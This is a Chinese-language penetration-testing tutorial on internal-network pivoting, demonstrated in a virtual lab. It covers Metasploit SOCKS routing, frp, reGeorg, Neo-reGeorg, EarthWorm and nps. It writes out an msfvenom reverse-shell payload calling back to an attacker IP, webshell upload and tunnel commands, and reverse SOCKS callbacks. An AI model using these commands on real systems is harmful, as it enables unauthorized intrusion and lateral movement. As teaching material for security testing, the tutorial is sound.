在分享之前,笔者认为有必要先介绍下几个容易混淆的概念,分别是端口转发、端口映射、隧道技术、代理技术。
-
代理技术:代理技术是指一种网络连接方式,在这种方式下,客户端不直接与目标服务器进行通信,而是通过一个中间服务器进行通信。中间服务器称为代理服务器,它代表客户端向目标服务器发送请求,并接收目标服务器的响应。代理技术根据场景不同又分为正向代理和反向代理。
-
端口转发:端口转发是一种将网络流量从一个端口转发到另一个端口的技术。它可以用于在网络中的不同设备之间建立通信通道。当网络中的设备(通常是路由器或防火墙)接收到特定端口上的数据时,它会将数据转发到目标设备上的另一个端口。
-
隧道技术:隧道技术是一种通过在两个网络设备之间创建加密通道来传输数据的方法。隧道可以用于在公共网络上安全地传输数据,通过加密和封装数据,使其对外部观察者不可见。隧道技术可以用于连接两个远程网络、连接远程用户到私有网络等。
-
端口映射:端口映射用于将内外网边界设备上的端口映射到内部服务端口上,通过端口映射,内部设备上的特定端口可以被映射到外部网络上的对应端口,从而实现内部服务对外暴露。端口映射和端口转发其实差不多。
关于各种端口转发方式,可以参考之前另一篇文章:
常用的端口转发方式
0xNvyao,公众号:安全随笔常用的端口转发方式
本篇就专门介绍下渗透测试过程中经常用到的各种代理技术,学习代理技术可以做到在目标组织的内部网络中进行探测、漏洞利用和权限提升,以获取对内部系统和资源的更大的访问权限。
-
Msf proxy模块 -
Frp -
reGeorg -
Neo-reGeorg -
Earthworm -
nps
0x01、试验环境介绍
-
Kali(192.168.220.175)
-
Windows 2016 双网卡(Nat网卡:192.168.220.171;Host-Only网卡:10.0.0.129) -
Windows 10:Vmware Host-Only网卡:10.0.0.128
网络拓扑如下图所示:
windows server2016拥有双网卡模拟网络边界,可以通过IP1、IP2分别与Kali攻击机及win10内网主机互通。本片所有的实验前提条件都是Kali攻击机可以访问Windows Server2016,但是无法访问Win10
简单验证:
-
Kali攻击机可以访问Win2016,无法访问Win10内网主机
-
Windows2016可以访问Kali攻击机,也可以访问Win10内网主机
-
Win10内网主机可以访问Win2016,无法访问Kali攻击机
0x02、几种常用的代理方案
一、Msf proxy模块
1)假设Kali已经通过msf拿到Win2016的权限:
# 生成exe可执行木马,当然生成对应web服务的脚本型webshell也可以
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.220.175 LPORT=4444 -f exe -o reverse.exe
# msfconsole监听
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.220.175
set LPORT 4444
run
拿到win2016控制权后,打印一下win2016的路由条目:
route
2)添加内网网段10.0.0.0/24的路由(如果不添加此路由,代理不通,后面在分析原因)
run autoroute -s 10.0.0.0
3)加载proxy代理模块
# 在meterpreter窗口,输入background回到msf
background
# 加载proxy模块:auxiliary/server/socks_proxy
use auxiliary/server/socks_proxy
options
run
4)测试proxy是否成功
方式一:配置浏览器代理
方式二:proxychains代理
# 添加socks5代理配置:
# 在proxychains配置文件 /etc/proxychains4.conf
socks5 127.0.0.1 1080
# proxychains访问
proxychains curl -I http://10.0.0.128/phpinfo.php
代理访问win10内网主机的phpinfo页面成功:
当然win7内网主机其他端口甚至其他内网主机也是可以任意访问的,这就是代理技术的好处,如果是端口转发,只能是一对一。
Tips:至于为啥上面需要在拿到win2016的meterpreter中添加10.0.0.0/24的路由,我的理解是:
1)不加这条路由之前,kali的路由是:
可以看到,kali的默认路由是给192.168.220.2(宿主机的nat网关地址)
而宿主机的路由是:
注意,宿主机并没有10.0.0.0/24的路由条目,所以流量走到宿主机后就找不到路由而不通。
2)而在meterpreter中添加10.0.0.0/24的路由后,meterpreter权限下打印下路由:
什么意思呢,有了10.0.0.0/24 --> Session 1的路由后,kali攻击机访问10.0.0.128的流量就会通过Session 1给出去,也就是给到了Win2016,这样顺其自然就通了。p.s:不知道我分析的对不对,欢迎评论区讨论...
二、Frp(Fast Reverse Proxy)
FRP 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。通过在具有公网 IP 的节点上部署 FRP 服务端,可以轻松地将内网服务穿透到公网。
传送门
https://github.com/fatedier/frp
Frp工具有诸多优点而被广泛使用,例如:
一般用Frp最多的场景就是内网穿透,就是通过一台公网vps,运行Frp服务,就可以将处于内网的服务映射到这台公网vps上,配置方式如下:
# 公网vps上
# 配置frps.toml(老一点版本配置文件是frps.ini)
bindPort = 7000
# 内网机器上
# 配置frpc.toml(老一点版本配置文件是frpc.ini)
serverAddr = "192.168.220.175" #指定公网vps的IP地址
serverPort = 7000 #frp通讯端口
[[proxies]]
name = "test-tcp"
type = "tcp"
localIP = "127.0.0.1"
localPort = 22 #需要映射的本机端口
remotePort = 6000 #需要公网vps监听端口
按照上面配置之后,先在vps上启动frps服务,再在内网机器启动frpc服务,然后通过ssh访问公网6000端口即可访问到原本位于内网机器的22端口。
# vps服务端
./frps -c ./frps.toml
# 内网机器
frpc.exe -c frpc.toml
# 验证
ssh [email protected] -p 6000
回到本篇的主题,如何通过Frp配置代理技术呢?配置如下:
# 公网vps上
# 配置frps.toml(老一点版本配置文件是frps.ini)
bindPort = 7000
# 内网机器上
# 配置frpc.toml
serverAddr = "192.168.220.175" #填公网vps的IP地址
serverPort = 7000 #frp通讯端口
[[proxies]]
name = "http_proxy"
type = "tcp"
remotePort = 6000 #需要公网vps监听端口,也是配置代理的端口
[proxies.plugin]
type = "http_proxy" #代理类型
httpUser = "test"
httpPassword = "password"
1)启动服务端:
2)启动客户端:
服务端已经收到客户端连接,并监听了7000、6000端口:
3)测试验证
先kali上不配置代理访问win10 phpinfo页面,结果不通
再kali上配置代理访问测试:通了
4)proxychains代理测试
增加http代理配置:
有了代理,我们就可以在攻击机上任意扫描内网了,顾名思义穿透内网:
三、reGeorg
reGeorg是一个较老的内网代理工具,简单易用,它是一种基于Web的隧道工具,用于绕过网络防火墙和访问内部网络。它利用了HTTP协议和Web代理的特性,将流量伪装为正常的Web流量,从而绕过防火墙的限制。
通过reGeorg就相当于通过已有的webshell来搭建正向代理,渗透无法探测的内网。
reGeorg传送门
https://github.com/sensepost/reGeorg
reGeorg使用需要python2.7版本并且需要urllib2 module,使用步骤:
1)下载reGeorg项目并解压,将webshell脚本上传到受害机的web服务(win2016模拟)里
2)将reGeorgSocksProxy.py上传到攻击机kali,并连接webshell,建立通信隧道
3)测试验证
配置proxychains代理:
socks5 127.0.0.1 9999
⚠️⚠️延伸一下,我们再对比下reGeorg和msf+phpwebshell的流量加密情况:
1)reGeorg流量,未加密
在受害机windows server 2016上抓包,抓nat网卡,可以看到流量未加密:
2)作为对比,我们再试试msf+php webshell方式的代理的流量,同样在受害机windows server 2016上抓包,抓nat网卡,可以看到流量都是加密的,甚至看不到http协议的流量,说明msf webshell在tcp层做了加密:
四、Neo-reGeorg
Neo-reGeorg传送门
https://github.com/L-codes/Neo-reGeorg
从Neo-reGeorg 官网介绍看到,Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目,目的是:
-
提高可用性,避免特征检测
-
提高 tunnel 连接安全性
-
提高传输内容保密性
-
应对更多的网络环境场景下使用
1)通过命令生成webshell
python neoreg.py generate -k password
2)连接webshell
python neoreg.py -k password -u http://192.168.220.171/tunnel.php
3)配置proxychains代理
socks5 127.0.0.1 1080
4)连接测试
proxychains curl -I http://10.0.0.128/phpinfo.php
发现不通??但注意看,代理其实已经通了,只是Empty reply from server。并且攻击机上neoreg.py也报错了,有bug?
那就简单验证下tcp连接吧,说明代理是可以的:
五、Earthworm
EarthWorm是一款用于开启 SOCKS v5 代理服务的工具,基于标准 C 开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。
不过已经8年没有更新了,并且极其容易被杀软查杀,已经不建议使用了,仅用于分享介绍。
目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为:
ssocksd
rcsocks
rssocks
lcx_slave
lcx_tran
lcx_listen
其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。分别介绍下如何通过EarthWorm进行正向代理和反向代理:
正向代理
非常简单,假设已经拿下的受害机之一有公网连接的权限,直接在受害机配置正向代理即可
1)在受害机配置正向代理,启动socks5服务并监听1080端口
# 在受害机windows 2016执行
ew_for_Win.exe -s ssocksd -l 1080
2)再在攻击机配置proxychains代理:
socks5 192.168.220.171 1080
3)测试代理生效:
反向代理
假设拿到权限的机器并没有面向公网的连接,这时候需要借助一台公网vps来进行反向代理,配置过程如下:
1)先在攻击机配置监听:
./ew_for_linux64 -s rcsocks -l 1080 -e 9999 //将1080端口收到的代理请求转发给反连9999端口的主机
2)目标机Host1上启动socks5服务,并反弹到攻击机Hack的9999端口:
ew_for_Win.exe -s rssocks -d 192.168.220.175 -e 9999
3)攻击机上配置proxychains代理
socks 127.0.0.1 1080
4)测试代理生效:
六、nps代理
nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。支持tcp、udp、socks5、http等几乎所有流量转发,可用来访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析、内网socks5代理等等……,并带有功能强大的web管理端。
nps传送门
https://github.com/ehang-io/nps
1)下载nps server程序到kali攻击机并运行(kali模拟外网vps)
./nps
2)进入nps管理后台,创建客户端
^_^:UI 怎么这么像jumpserver的...
3)下载nps client程序到受害机并运行
npc.exe -server=192.168.220.175:8024 -vkey=h8lr27j24oz94p71 -type=tcp
连接成功:
4)添加socks代理
5)在攻击机kali配置proxychains代理并测试
socks 127.0.0.1 1080
代理测试有效:
当然也可以创建http协议代理:
http 127.0.0.1 1081
本篇就介绍内网渗透中这六种代理技术,其实还有很多其他的代理技术,工具都是各有优缺,看个人喜好,不赘述了。
0x03、常用的代理客户端程序汇总
除了上面演示到的proxychains和浏览器代理,还有很多好用的客户端代理工具,例如:Proxifier、Shadowsocks、V2ray、ShadowsocksR(SSR)、浏览器插件SwitchyOmega等等。
Proxifier - 支持应用程序粒度的代理,但付费
-
Proxifier是一个全局代理工具,可以将网络流量通过代理服务器进行转发。
-
它可以将任何应用程序的网络流量重定向到代理服务器,而不仅限于浏览器。
-
Proxifier支持多种代理协议,包括HTTP、SOCKS等。
-
它提供了高度的灵活性和配置选项,可以定制代理规则和链路。
-
Proxifier是一个付费软件。
Proxychains - 开源的命令行工具
-
Proxychains是一个命令行工具,用于在终端中通过代理服务器进行网络连接。
-
它可以将终端中的应用程序的流量通过代理服务器进行转发。
-
Proxychains支持多种代理协议,包括HTTP、SOCKS等。
-
它的使用相对简单,通过在命令前加上proxychains命令来启动应用程序并将其流量转发到代理服务器。
-
Proxychains是一个开源工具。
SwitchyOmega - 浏览器插件、切换代理方便
-
SwitchyOmega是一个浏览器插件,主要用于在浏览器中管理和切换代理设置。
-
它允许您根据需要配置和切换多个代理服务器。
-
SwitchyOmega支持多种代理协议,包括HTTP、SOCKS等。
-
它提供了灵活的规则和配置选项,可以根据网址、域名等条件自动切换代理设置。
-
SwitchyOmega是一个免费的浏览器插件。
另外两个不多说了,懂得都懂..
喜欢这篇文章的欢迎点赞转发,谢谢。
原文始发于微信公众号(Ots安全):一篇文章搞懂各种代理穿透
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论